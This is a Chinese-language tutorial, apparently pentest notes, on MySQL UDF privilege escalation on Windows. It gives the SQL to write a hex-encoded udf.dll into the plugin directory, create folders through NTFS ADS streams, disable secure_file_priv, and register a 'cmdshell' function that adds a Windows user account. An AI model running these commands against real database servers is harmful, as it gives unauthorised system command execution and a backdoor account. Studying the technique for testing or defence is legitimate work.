UDF为User Defined Function用户自定义函数,也就是支持用户自定义函数的功能。这里的自定义函数要以dll形式写成mysql的插件,提供给mysql来使用。也就是说我们可以通过编写dll文件来实现我们需要的功能,UDF编写可以参考(https://www.404sec.com/7817.html)。利用UDF提权需要知道root账户的密码,并且需要目标系统是Windows。可以使用现成的udf提权工具,下面介绍手工测试的方法。
1.查看mysql版本

select version();#-->5.7.14

2.上传DLL文件

dll文件可以使用webshell上传,也可以通过mysql导出。后缀不一定是dll,可以是任意的。64位和32位版本对应不同的dll文件,拿32位的dll去在64位系统注册的话,会提示错误:

Can't open shared library 'udf.dll' (errno: 193 )

udf.dll文件转换成16进制

SELECT hex(load_file(433a5c5c7564662e646c6c)) into dumpfile 'D:\\a.txt';
load_file中的十六进制是 C:\\udf.dll

此时a.txt文件的内容就是udf文件的16进制形式。

select @@basedir; #查找mysql安装目录
select @@plugin_dir ; #查找插件目录
create table tmp (c blob); #创建一个表用来储存16进制udf源文件
insert into tmp values(unhex('udf.dll 16进制code')) #把udf的16进制插入到表中,为导出为dll做准备
select c from tmp into dumpfile '插件目录\\udf.dll'; 导出为udt文件
dorp table tmp; # 删除表

在MYSQL 4.1以前的版本中,可以将所有的DLL文件里面的任何函数都注册到MYSQL里面以供MYSQL调用。无论这个DLL在什么位置,函数的声明是什么样的。

在MYSQL 4.1及以后的版本中,对UDF函数进行了限制,只有实现了一个特定接口的函数才可以被成功注册到MYSQL中,这样就防止了通过MYSQL非法调用系统的DLL。

在MYSQL5.0以后,对注册的DLL的位置有了限制,创建函数的时候,所对应的DLL不能包含/或者\,简单的理解就是不能是绝对路径。 所以我们将DLL上传到包含在PATH这个环境变量内的目录中来跳过这个限制(运行echo %path%可以查看可写目录,例如:C:\WINDOWS\udf.dll或C:\WINDOWS\system32\udf.dll),或者放到盘符的根目录下通过c:udf.dll这种形式的写法来跳过限制。

Mysql5.1及以上版本,必须将DLL文件上传到mysql安装目录下的lib\plugin文件夹下才能创建自定义的函数。默认情况下’plugin’文件夹并不存在,可能就是为了防止通过into dumpfile将DLL来写到这个文件夹。可以用命令show variables like '%plugin%'查看是否存在plugin文件夹。可以在webshell中手工创建lib、plugin文件夹,也可以像下面这样利用NTFS ADS流来创建文件夹(5.7.14 权限不足,Errcode: 13 - Permission denied。5.5.8可以。哪些版本可以?):

select @@basedir; # 查找mysql安装目录
select 'udfdll' into dumpfile 'D:\\wamp\\bin\\mysql\\mysql5.7.14\\lib::$INDEX_ALLOCATION'; ##使用NTFS ADS 流创建lib目录
select 'udfdll' into dumpfile 'D:\\wamp\\bin\\mysql\\mysql5.7.14\\lib\\plugin::$INDEX_ALLOCATION'; ##创建plugin目录

如果mysql服务器开启了secure-file-priv选项,就只能将文件导出到指定目录下。可以通过show variables like '%secure%';查询secure-file-priv的值。使用#注释掉mysql安装目录下my.ini 或者mysql.cnf中的secure_file_priv="D:/wamp/tmp"一行,然后重启mysql就可以将文件导出到任意目录了。(待解决问题:apache用户有权限改这个配置文件并且重启mysql么?)

1.创建函数

create function function_name returns string soname 'dll_path' //function_name必须是dll文件中函数
create function cmdshell returns string soname 'udf.dll'//eg

2.调用函数

select function_name(函数参数);
select cmdshell('net user waitalone waitalone.cn /add');#eg

3.删除函数

drop function function_name;
drop function cmdshell;#eg

-- 或者:

delete from mysql.func where name='function_name';
delete from mysql.func where name='cmdshell';#eg